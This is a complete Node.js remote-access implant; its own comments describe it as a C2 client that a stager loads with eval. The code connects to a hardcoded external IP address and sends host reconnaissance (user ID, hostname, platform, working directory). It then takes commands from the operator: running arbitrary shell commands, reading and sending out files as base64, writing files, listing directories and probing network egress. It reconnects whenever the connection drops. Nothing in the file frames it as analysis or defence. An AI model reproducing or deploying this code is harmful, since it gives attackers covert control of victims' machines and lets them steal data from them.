// agent v2 — universal node C2 client (zero deps, shell-optional) // served at /a; stager eval's this source. Connects to shelld, sends a // JSON banner of node-intrinsic recon, then runs line commands. // degrades gracefully: no /bin/sh -> banner + file commands still work. const net = require('net'); const os = require('os'); const fs = require('fs'); const { spawn } = require('child_process'); const HOST = '104.164.55.49'; const PORT = 4446; function banner() { const b = { agent: 'v2', node: process.version, pid: process.pid, ppid: process.ppid, uid: typeof process.getuid === 'function' ? process.getuid() : null, gid: typeof process.getgid === 'function' ? process.getgid() : null, host: os.hostname(), platform: process.platform, arch: process.arch, cwd: process.cwd(), cpus: os.cpus().length, mem: Math.round(os.totalmem() / 1e6), up: Math.round(os.uptime()), env: Object.keys(process.env).length, argv0: process.argv0, execPath: process.execPath, }; return 'B=' + JSON.stringify(b); } function redial() { const s = net.connect(PORT, HOST, () => { s.write(banner() + '\n'); }); s.setEncoding('utf8'); let buf = ''; s.on('data', (d) => { buf += d; let i; while ((i = buf.indexOf('\n')) >= 0) { const line = buf.slice(0, i).trim(); buf = buf.slice(i + 1); if (!line) continue; handle(line, s); } }); s.on('error', () => setTimeout(redial, 15000)); s.on('close', () => setTimeout(redial, 20000)); } function out(s, tag, data) { s.write(tag + JSON.stringify(data) + '\n'); } function handle(line, s) { // command protocol: prefix chars keep it shell-optional // !cmd -> /bin/sh -c cmd (full exec, needs a shell) // R path -> read file (base64) (no shell needed) // W path;b64 -> write file (no shell needed) // L path -> list dir (no shell needed) // N host:port -> TCP reachability probe (egress test from inside) // X -> process.exit(0) try { if (line.startsWith('!')) { const cmd = line.slice(1); spawn('/bin/sh', ['-c', cmd], { stdio: ['ignore', 'pipe', 'pipe'] }); // stream output best-effort const p = spawn('/bin/sh', ['-c', cmd]); let o = '', e = ''; p.stdout.on('data', d => { o += d; }); p.stderr.on('data', d => { e += d; }); p.on('close', (code) => out(s, 'S=', { code, out: o.slice(0, 60000), err: e.slice(0, 5000) })); return; } if (line.startsWith('R ')) { const p = line.slice(2); const data = fs.readFileSync(p); return out(s, 'R=', { path: p, b64: data.toString('base64').slice(0, 500000) }); } if (line.startsWith('W ')) { const [p, b64] = line.slice(2).split(';'); fs.writeFileSync(p, Buffer.from(b64, 'base64')); return out(s, 'W=', { path: p, ok: true }); } if (line.startsWith('L ')) { const p = line.slice(2); return out(s, 'L=', { path: p, entries: fs.readdirSync(p).slice(0, 500) }); } if (line.startsWith('N ')) { const [h, po] = line.slice(2).split(':'); const t = net.connect(parseInt(po), h, () => { out(s, 'N=', { target: h + ':' + po, ok: true }); t.destroy(); }); t.on('error', (er) => out(s, 'N=', { target: h + ':' + po, ok: false, err: er.code })); setTimeout(() => t.destroy(), 4000); return; } if (line === 'X') process.exit(0); out(s, 'E=', { err: 'unknown', line: line.slice(0, 80) }); } catch (e) { out(s, 'E=', { err: String(e).slice(0, 200) }); } } redial();